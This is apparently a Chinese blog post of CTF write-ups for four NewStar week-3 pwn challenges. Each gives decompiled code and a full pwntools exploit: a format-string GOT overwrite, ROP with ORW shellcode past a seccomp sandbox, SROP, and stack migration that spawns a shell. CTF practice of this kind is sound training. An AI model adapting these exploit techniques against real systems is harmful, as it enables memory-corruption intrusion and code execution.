• newstar week3 pwn


    newstar week3 pwn

    巩固知识,如有错误记得纠正,感谢师傅们的评阅

    puts or system?

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      int v4; // [rsp+Ch] [rbp-34h] BYREF
      char buf[40]; // [rsp+10h] [rbp-30h] BYREF
      unsigned __int64 v6; // [rsp+38h] [rbp-8h]
    
      v6 = __readfsqword(0x28u);
      init(argc, argv, envp);
      puts("Welcome to NewStar CTF!!");
      while ( 1 )
      {
        puts("Give me some gift?(0/1)");
        __isoc99_scanf("%d", &v4);
        if ( v4 != 1 )
          break;
        puts("What's it");
        read(0, buf, 0x100uLL);
        puts("Oh thanks,There is my gift:");
        printf(buf);
        puts("/bin/sh");
      }
      return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    无限循环的格式化字符串

    思路

    改puts为system即可

    from pwn import*
    from Yapack import *
    r,elf=rec("node4.buuoj.cn",27036,"./pwn",10)
    context(os='linux', arch='amd64',log_level='debug')
    libc=ELF('./libc.so.6')
    
    #8
    sla(b'gift',b'1')
    sla(b'it',b'%15$p')
    #格式化字符串泄露libc
    leak=get_addr_int()-libc.sym['__libc_start_main']+0x30
    li(leak)
    sys=system(leak)
    pl=fmtstr_payload(8,{elf.got['puts']:sys})
    #格式化字符串改got表
    sla(b'gift',b'1')
    sla(b'it',pl)
    #debug()
    ia()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    orw&rop

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char buf[40]; // [rsp+0h] [rbp-30h] BYREF
      unsigned __int64 v5; // [rsp+28h] [rbp-8h]
    
      v5 = __readfsqword(0x28u);
      init(argc, argv, envp);
      sandbox();
      mmap((void *)0x66660000, 0x1000uLL, 7, 50, -1, 0LL);
      puts("Try to escape the sandbox");
      read(0, buf, 0x20uLL);
      printf(buf);
      puts("I think you can get flag now");
      read(0, buf, 0x100uLL);
      return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    给我们开辟了一个权限为7的空间,就是让我们写shellcode到这里

     line  CODE  JT   JF      K
    =================================
     0000: 0x20 0x00 0x00 0x00000004  A = arch
     0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
     0002: 0x20 0x00 0x00 0x00000000  A = sys_number
     0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
     0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
     0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
     0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0007: 0x06 0x00 0x00 0x00000000  return KILL
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    沙盒,写orw
    在这里插入图片描述

    发现栈里没啥libc,我们写一个libc进去

    在这里插入图片描述

    泄露得到libc基址和canary

    思路

    栈溢出写read函数,并且read的内容写在开辟的空间内,然后返回开辟的空间

    直接看wp,里面有详细注释

    from pwn import*
    from Yapack import *
    libc=ELF('./libc.so.6')
    r,elf=rec("node4.buuoj.cn",29023,"./pwn",0)
    context(os='linux', arch='amd64',log_level='debug')
    #debug('b *0x40136E') 
    
    #11 6
    #6是我们写入的位置,泄露8是因为我们写入puts@got经过我们的对齐,现在在8号位置
    #11是canary的位置
    pl=b'%8$s.%11$p'+b'\x00'*6+p64(elf.got['puts'])
    sla(b'sandbox',pl)
    leak=get_addr_u64()-libc.sym['puts']
    li(leak)
    ru('.0x')
    can=int(r.recv(16),16)
    li(can)
    
    #ROPgadget --binary libc.so.6 --only 'pop|ret' | grep 'rdi'
    #搜到就加上libc基址就可以了
    retn=0x0000000000029cd6+leak
    rdi=0x000000000002a3e5+leak
    rsi=0x000000000002be51+leak
    rdx_r12=0x000000000011f497+leak
    read=leak+libc.sym['read']
    
    pl=cyclic(0x28)+p64(can)+p64(0)
    #栈溢出
    pl+=flat(rdi,0,rsi,0x66660000,rdx_r12,0x200,0,read)
    #写read(0,0x66660000,0x200)
    pl+=flat(0x66660000,retn)
    #返回执行0x66660000
    sla(b'get flag now',pl)
    
    #orw
    sc=shellcraft.open('./flag')
    sc+=shellcraft.read(3,0x66660000+0x200,0x100)
    sc+=shellcraft.write(1,0x66660000+0x200,0x100)
    
    #sleep(0.3)
    sl(asm(sc))
    #debug()
    
    ia()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44

    srop

    .text:0000000000401145                               var_30= byte ptr -30h
    .text:0000000000401145
    .text:0000000000401145                               ; __unwind {
    .text:0000000000401145 F3 0F 1E FA                   endbr64
    .text:0000000000401149 55                            push    rbp
    .text:000000000040114A 48 89 E5                      mov     rbp, rsp
    .text:000000000040114D 48 83 EC 30                   sub     rsp, 30h
    .text:0000000000401151 B9 30 00 00 00                mov     ecx, 30h ; '0'
    .text:0000000000401156 48 8D 15 C3 2E 00 00          lea     rdx, buf                        ; "welcome to srop!\n"
    .text:000000000040115D BE 01 00 00 00                mov     esi, 1
    .text:0000000000401162 BF 01 00 00 00                mov     edi, 1                          ; sysno
    .text:0000000000401167 B8 00 00 00 00                mov     eax, 0
    .text:000000000040116C E8 CF FE FF FF                call    _syscall
    .text:000000000040116C
    .text:0000000000401171 48 8D 45 D0                   lea     rax, [rbp+var_30]
    .text:0000000000401175 B9 00 03 00 00                mov     ecx, 300h
    .text:000000000040117A 48 89 C2                      mov     rdx, rax
    .text:000000000040117D BE 00 00 00 00                mov     esi, 0
    .text:0000000000401182 BF 00 00 00 00                mov     edi, 0                          ; sysno
    .text:0000000000401187 B8 00 00 00 00                mov     eax, 0
    .text:000000000040118C E8 AF FE FF FF                call    _syscall
    .text:000000000040118C
    .text:0000000000401191 C9                            leave
    .text:0000000000401192 C3                            retn
    .text:0000000000401192                               ; } // starts at 401145
    .text:0000000000401192
    .text:0000000000401192                               main endp
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    直接看汇编了

    提供了一次write,和一次read,并且是超大溢出的read,

    一眼srop

    思路

    构造frame,溢出打srop,看exp有详细解释

    from pwn import*
    from Yapack import *
    r,elf=rec("node4.buuoj.cn",29023,"./pwn",0)
    context(os='linux', arch='amd64',log_level='debug')
    
    rdi=0x0000000000401203
    lea=0x401171
    syscall=elf.sym['syscall']
    bss=0x404050+0x200
    
    #目的是执行execve('/bin/sh',0,0)
    #这个frame就是为了execve(bss,0,0)然后这个bss我们写个/bin/sh
    fr=SigreturnFrame()
    fr.rip=syscall
    fr.rdi=59
    fr.rsi=bss-0x30
    #这里为什么要-0x30,因为这一段加了0x30
    #.text:0000000000401171 48 8D 45 D0                   lea     rax, [rbp+var_30]
    #就是相当于0x404050+0x200+0x30-0x30=0x404050+0x200
    fr.rdx=0
    fr.rcx=0
    fr.rsp=bss+0x38
    #这里就是设置栈顶
    pl=cyclic(0x30)+flat(bss,lea)
    #迁移到bss段,然后再执行一次read,并且这次read的写入的位置是0x404050+0x200
    
    sa(b'srop',pl)
    sleep(0.3)
    pl=b'/bin/sh\x00'+cyclic(0x30)+flat(rdi,0xf,syscall,fr)
    sl(pl)
    #debug()
    
    ia()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33

    stack migration revenge

    多次栈迁移

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    
    • 1
    • 2
    • 3
    • 4
    • 5

    只开了NX 64位

    int vuln()
    {
      char buf[80]; // [rsp+0h] [rbp-50h] BYREF
    
      puts("I've seen you before!");
      puts("just chat with me:");
      read(0, buf, 0x60uLL);
      return puts("so funny");
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    程序非常简单,溢出只能覆盖rbp和rip

    .text:00000000004011FF 48 8D 45 B0                   lea     rax, [rbp+buf]
    .text:0000000000401203 BA 60 00 00 00                mov     edx, 60h ; '`'                  ; nbytes
    .text:0000000000401208 48 89 C6                      mov     rsi, rax                        ; buf
    .text:000000000040120B BF 00 00 00 00                mov     edi, 0                          ; fd
    .text:0000000000401210 B8 00 00 00 00                mov     eax, 0
    .text:0000000000401215 E8 56 FE FF FF                call    _read
    .text:0000000000401215
    .text:000000000040121A 48 8D 3D 0C 0E 00 00          lea     rdi, aSoFunny                   ; "so funny"
    .text:0000000000401221 E8 3A FE FF FF                call    _puts
    .text:0000000000401221
    .text:0000000000401226 90                            nop
    .text:0000000000401227 C9                            leave
    .text:0000000000401228 C3                            retn
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    多次利用这个段,多次使用read(0,[rbp+buf],0x60)

    又因为rbp可控,用ROPgadget可以找到pop_rbp并且第一次溢出就是覆盖了rbp

    思路

    通过多次栈迁移在bss段写,然后泄露libc,getshell

    from pwn import*
    from Yapack import *
    r,elf=rec("node4.buuoj.cn",29182,"./pwn",10)
    context(os='linux', arch='amd64',log_level='debug')
    libc=ELF('./libc.so.6')
    
    bss=0x404020+0x600
    leave=0x401227
    lea=0x4011FF
    rdi=0x00000000004012b3
    rbp=0x000000000040115d
    
    pl=cyclic(0x50)+flat(bss+0x50,lea)
    #栈迁移到bss段
    s(pl)
    pl=flat(rdi,elf.got['puts'],elf.plt['puts'])
    #泄露puts@libc
    pl+=flat(rbp,bss+0x50+0x100,lea)
    #控制rbp,并且在此处提前布置好空间用来getshell
    pl=pl.ljust(0x50, b'\x00')+flat(bss-8,leave)
    s(pl)
    
    leak=get_addr_u64()-libc.sym['puts']
    li(leak)
    sys=system(leak)
    sh=shell(leak)
    
    pl=flat(rdi,sh,sys)
    #这里就是在bss+0x50+0x10写了,所以我们迁移到+0x100的地方
    pl=pl.ljust(0x50, b'\x00')+flat(bss-8+0x100,leave)
    s(pl)
    #debug()
    
    ia()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
  • 相关阅读:
    Ant-Design-Vue 动态表头
    云计算期末复习(1)
    华为OD机试 - 疫情扩散时间计算 - 矩阵(Java 2024 C卷 200分)
    备战蓝桥杯---图论应用1
    小程序云开发笔记三
    【css面试题】 实现一个盒子的水平竖直居中对齐效果
    传统算法与神经网络算法,神经网络与算法的关系
    【故障公告】取代 memcached 的 redis 出现问题造成网站故障
    尚医通 (一) --------- 项目介绍
    挑战自己,编程你的五子棋:Python+Pygame实践经验分享
  • 原文地址:https://blog.csdn.net/qq_62887641/article/details/134044707